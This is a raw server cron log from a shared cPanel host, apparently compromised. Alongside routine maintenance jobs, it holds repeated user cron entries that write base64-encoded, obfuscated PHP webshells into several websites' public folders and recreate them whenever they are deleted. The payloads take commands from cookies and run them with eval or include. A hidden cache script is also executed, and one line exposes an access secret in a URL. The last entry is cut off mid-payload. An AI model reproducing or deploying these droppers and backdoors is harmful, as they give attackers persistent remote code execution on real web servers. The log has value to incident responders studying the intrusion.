Mar  2 09:48:01 medusa CROND[2569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:48:01 medusa CROND[2572]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:48:01 medusa CROND[2571]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:48:01 medusa CROND[2576]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:48:01 medusa CROND[2585]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:48:01 medusa CROND[2591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:48:01 medusa CROND[2592]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:49:02 medusa CROND[19894]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:49:02 medusa CROND[19895]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:49:02 medusa CROND[19896]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:49:02 medusa CROND[19897]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:49:02 medusa CROND[19898]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:49:02 medusa CROND[19902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:49:02 medusa CROND[19903]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:49:02 medusa CROND[19907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:49:02 medusa CROND[19910]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:49:02 medusa CROND[19913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:49:02 medusa CROND[19908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:49:02 medusa CROND[19918]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:50:01 medusa CROND[3969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:50:01 medusa CROND[3979]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 09:50:01 medusa CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:50:02 medusa CROND[4251]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4252]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:50:02 medusa CROND[4333]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:50:02 medusa CROND[4346]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:50:02 medusa CROND[4348]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:50:02 medusa CROND[4350]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:50:02 medusa CROND[4349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:50:02 medusa CROND[4359]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:50:02 medusa CROND[4360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbn